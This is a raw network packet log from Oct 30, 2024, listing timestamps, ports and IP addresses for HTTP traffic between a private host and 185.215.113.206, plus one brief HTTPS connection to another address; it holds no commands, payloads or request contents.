Oct 30, 2024 04:34:14.679405928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679445028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679582119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679594994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679619074 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679635048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679761887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679778099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679792881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679801941 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679811001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.679816008 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679832935 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.679866076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.680242062 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.680258036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.680274010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.680283070 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.680295944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.680311918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.680413961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.680428982 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.680445910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.680454016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.680471897 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.680486917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.681324005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.681339025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.681354046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.681365967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.681368113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.681408882 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.681418896 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.681453943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.681468964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.681487083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.681504965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.681679964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.681719065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836088896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836123943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836174965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836205006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836309910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836335897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836358070 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836363077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836375952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836388111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836407900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836414099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836421967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836440086 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836452007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836466074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836474895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836493015 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.836508036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.836522102 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837059021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837085962 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837109089 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837110996 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837127924 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837133884 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837141991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837172031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837460041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837507963 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837518930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837543011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837555885 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837569952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837579966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837596893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.837610960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837625027 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.837987900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838026047 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838038921 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838052988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838062048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838078976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838089943 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838104010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838114023 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838129997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838139057 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838156939 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838169098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838184118 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838191032 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838223934 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838922024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838947058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.838985920 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.838990927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839003086 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839018106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839027882 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839045048 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839050055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839071035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839086056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839096069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839102983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839123964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839134932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839160919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839843035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839868069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839895010 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839909077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839911938 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839951992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839962006 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.839977980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.839989901 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.840003967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.840027094 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.840029955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.840044975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.840058088 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.840059996 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.840101957 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.840884924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.840910912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.840930939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.840943098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.840960026 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.840965986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.840976954 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.841002941 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.890120029 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:14.890168905 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:14.890247107 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:14.890885115 CET	49717	443	192.168.2.6	40.115.3.253
Oct 30, 2024 04:34:14.890901089 CET	443	49717	40.115.3.253	192.168.2.6
Oct 30, 2024 04:34:14.993547916 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993567944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993592024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993607998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993623018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993640900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993657112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993688107 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.993719101 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.993752956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993768930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993783951 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993797064 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.993822098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.993916035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993932009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993947983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993952036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.993963957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.993977070 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.993987083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994003057 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994040012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994216919 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994230986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994251013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994251966 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994270086 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994273901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994285107 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994290113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994307041 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994322062 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994607925 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994622946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994638920 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994652987 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994657040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994661093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994672060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994678974 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994688034 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994693995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994704008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.994710922 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994724035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.994740963 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995227098 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995240927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995255947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995268106 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995270967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995285988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995289087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995297909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995304108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995326042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995335102 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995348930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995356083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995367050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995368004 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995382071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995384932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995397091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995400906 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995414019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.995414972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995440960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.995452881 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996124983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996150017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996165037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996169090 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996180058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996187925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996196032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996197939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996212006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996212959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996227026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996227980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996243000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996243000 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996254921 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996260881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996275902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996279001 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996289968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996294022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996310949 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.996313095 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996332884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.996346951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997070074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997085094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997100115 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997113943 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997114897 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997131109 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997132063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997139931 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997147083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997162104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997165918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997178078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997189999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997194052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997210979 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997214079 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997226954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997239113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997243881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.997252941 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.997277021 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998024940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998039961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998055935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998066902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998070955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998081923 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998086929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998099089 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998104095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998120070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998121977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998135090 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998148918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998152018 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998167038 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998169899 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998183012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998198032 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998199940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.998225927 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.998243093 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999012947 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999027967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999042988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999057055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999058008 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999075890 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999075890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999094009 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999099016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999109983 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999121904 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999124050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999140024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999145985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999155998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999170065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999171019 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999186039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999192953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999214888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999818087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999833107 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999849081 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999862909 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999865055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999880075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999881983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999896049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:14.999912977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:14.999933004 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.000216961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.150899887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.150928020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.150942087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.150955915 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.150970936 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.150993109 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151000023 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151010036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151025057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151030064 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151056051 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151102066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151139975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151413918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151458025 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151478052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151493073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151516914 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151524067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151535988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151539087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151555061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151563883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151568890 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151582956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151586056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151598930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151602983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151616096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151631117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151632071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151648045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151649952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:15.151663065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:15.151674032 CET	49710	80	192.168.2.6	185.215.113.206
